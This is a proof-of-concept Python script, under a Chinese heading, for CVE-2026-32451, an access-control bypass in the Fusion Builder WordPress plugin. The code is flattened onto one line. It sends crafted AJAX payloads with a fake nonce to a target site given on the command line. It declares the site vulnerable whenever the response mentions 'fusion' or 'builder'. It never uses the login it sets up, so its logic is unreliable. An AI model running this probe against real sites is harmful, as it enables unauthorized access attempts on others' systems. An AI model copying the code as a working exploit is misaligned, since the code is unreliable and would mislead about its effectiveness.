CVE-2026-32451: ThemeFusion Fusion Builder访问控制漏洞

import requests import sys # CVE-2026-32451 PoC - Fusion Builder Access Control Bypass # Target: WordPress site with Fusion Builder plugin < 3.15.0 def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2026-32451 This PoC attempts to access admin-level Fusion Builder functions with a low-privilege user account """ # Setup session with low-privilege user credentials session = requests.Session() # WordPress login endpoint login_url = f"{target_url}/wp-login.php" # Fusion Builder admin AJAX endpoint (vulnerable) admin_ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Try to access Fusion Builder admin functions # without proper authorization check exploit_payloads = [ { 'action': 'fusion_builder_api', 'fusion_action': 'get_admin_config', 'nonce': 'fake_nonce_for_testing' }, { 'action': 'fusion_load_module', 'module': 'fusion_templates', 'get': 'all' } ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2026-32451 - Fusion Builder Access Control Bypass") for payload in exploit_payloads: try: response = session.post(admin_ajax_url, data=payload, timeout=10) # Check if we get admin-level response without proper auth if response.status_code == 200: if 'fusion' in response.text.lower() or 'builder' in response.text.lower(): print(f"[!] Potential vulnerability detected!") print(f"[!] Response contains Fusion Builder data") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") print(f"[*] Test completed") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] check_vulnerability(target) else: print("Usage: python cve-2026-32451.py <target_url>") print("Example: python cve-2026-32451.py http://example.com")